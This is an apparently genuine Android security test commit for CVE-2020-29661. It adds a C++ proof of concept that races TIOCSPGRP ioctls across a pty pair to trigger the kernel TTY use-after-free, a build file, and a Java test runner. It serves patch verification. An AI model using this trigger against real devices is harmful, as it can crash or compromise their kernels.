STS test for Android Security CVE-2020-29661

Test: sts-tradefed run sts-engbuild-no-spl-lock -m CtsSecurityBulletinHostTestCases -t android.security.cts.CVE_2020_29661
Bug: 182917768
Bug: 175451802
Change-Id: I6b30b85f4c17064dda8347c17105088ff4ca44a7
Merged-In: I6b30b85f4c17064dda8347c17105088ff4ca44a7
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/Android.bp
new file mode 100644
index 0000000..1bf2911
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/Android.bp
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-29661",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp",],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/poc.cpp
new file mode 100644
index 0000000..b8cc096
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29661/poc.cpp
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#if !defined _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <err.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/prctl.h>
+#include <sys/wait.h>
+#include <termios.h>
+#include <time.h>
+#include <unistd.h>
+
+#define MAX_TEST_DURATION 60
+
+time_t start_timer(void);
+int timer_active(time_t timer_started);
+
+inline time_t start_timer() {
+    return time(NULL);
+}
+
+inline int timer_active(time_t timer_started) {
+    return time(NULL) < (timer_started + MAX_TEST_DURATION);
+}
+
+int main(void) {
+    sync(); /* we're probably gonna crash... */
+
+    // set test timer
+    const time_t timer_started = start_timer();
+
+    /*
+     * We may already be process group leader but want to be session leader;
+     * therefore, do everything in a child process.
+     */
+    pid_t main_task = fork();
+    if (main_task == -1) err(EXIT_FAILURE, "initial fork");
+    if (main_task != 0) {
+        int status;
+        if (waitpid(main_task, &status, 0) != main_task) err(EXIT_FAILURE, "waitpid main_task");
+        return WEXITSTATUS(status);
+    }
+
+    printf("%d:test starts\n", getpid());
+
+    if (prctl(PR_SET_PDEATHSIG, SIGKILL)) err(EXIT_FAILURE, "PR_SET_PDEATHSIG");
+    if (getppid() == 1) exit(EXIT_FAILURE);
+
+    /* basic preparation */
+    if (signal(SIGTTOU, SIG_IGN)) err(EXIT_FAILURE, "signal");
+    if (setsid() == -1) err(EXIT_FAILURE, "start new session");
+
+    /* set up a new pty pair */
+    int ptmx = open("/dev/ptmx", O_RDWR);
+    if (ptmx == -1) err(EXIT_FAILURE, "open ptmx");
+    unlockpt(ptmx);
+    int tty = open(ptsname(ptmx), O_RDWR);
+    if (tty == -1) err(EXIT_FAILURE, "open tty");
+
+    /*
+     * Let a series of children change the ->pgrp pointer
+     * protected by the tty's ctrl_lock...
+     */
+    pid_t child = fork();
+    if (child == -1) {
+        err(EXIT_FAILURE, "fork");
+    }
+
+    // grandchildren creator process
+    if (child == 0) {
+        int ret = EXIT_SUCCESS;
+        if (prctl(PR_SET_PDEATHSIG, SIGKILL)) err(EXIT_FAILURE, "PR_SET_PDEATHSIG");
+        if (getppid() == 1) exit(EXIT_FAILURE);
+
+        while (timer_active(timer_started)) {
+            pid_t grandchild = fork();
+            if (grandchild == -1) {
+                err(EXIT_FAILURE, "fork grandchild");
+            }
+            if (grandchild == 0) {
+                if (setpgid(0, 0)) err(EXIT_FAILURE, "setpgid");
+                int pgrp = getpid();
+                if (ioctl(tty, TIOCSPGRP, &pgrp)) {
+                    err(EXIT_FAILURE, "TIOCSPGRP (tty)");
+                }
+                exit(EXIT_SUCCESS);
+            }
+            int status;
+            if (waitpid(grandchild, &status, 0) != grandchild)
+                err(EXIT_FAILURE, "waitpid for grandchild");
+            if ((ret = WEXITSTATUS(status)) != EXIT_SUCCESS) {
+                break;
+            }
+        } // end while(time)
+        exit(ret);
+    } // end grandchildren creator process
+
+    /*
+     * ... while the parent changes the same ->pgrp pointer under the
+     * ctrl_lock of the other side of the pty pair.
+     */
+    int status;
+    const char* const TIOCSPGRP_ERROR = "TIOCSPGRP (ptmx)";
+    const char* const WAITPID_ERROR = "waitpid for grandchildren creator";
+    const char* message1 = NULL;
+    const char* message2 = NULL;
+
+    while (timer_active(timer_started)) {
+        int pgrp = getpid();
+        if (ioctl(ptmx, TIOCSPGRP, &pgrp)) {
+            message1 = TIOCSPGRP_ERROR;
+            break;
+        }
+    }
+
+    // wait for grandchildren creator to complete
+    if (waitpid(child, &status, 0) != child) {
+        message2 = WAITPID_ERROR;
+    }
+
+    // return exit status
+    if (message1 != NULL || message2 != NULL) {
+        err(EXIT_FAILURE, "%s %s", message1 != NULL ? message1 : "",
+            message2 != NULL ? message2 : "");
+    }
+    printf("%d:test completed\n", getpid());
+    return WEXITSTATUS(status);
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
new file mode 100755
index 0000000..f6ac8ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_29661 extends SecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 175451802)
+    @Test
+    public void testPocCVE_2020_29661() throws Exception {
+        AdbUtils.runPocNoOutput("CVE-2020-29661", getDevice(),60);
+    }
+}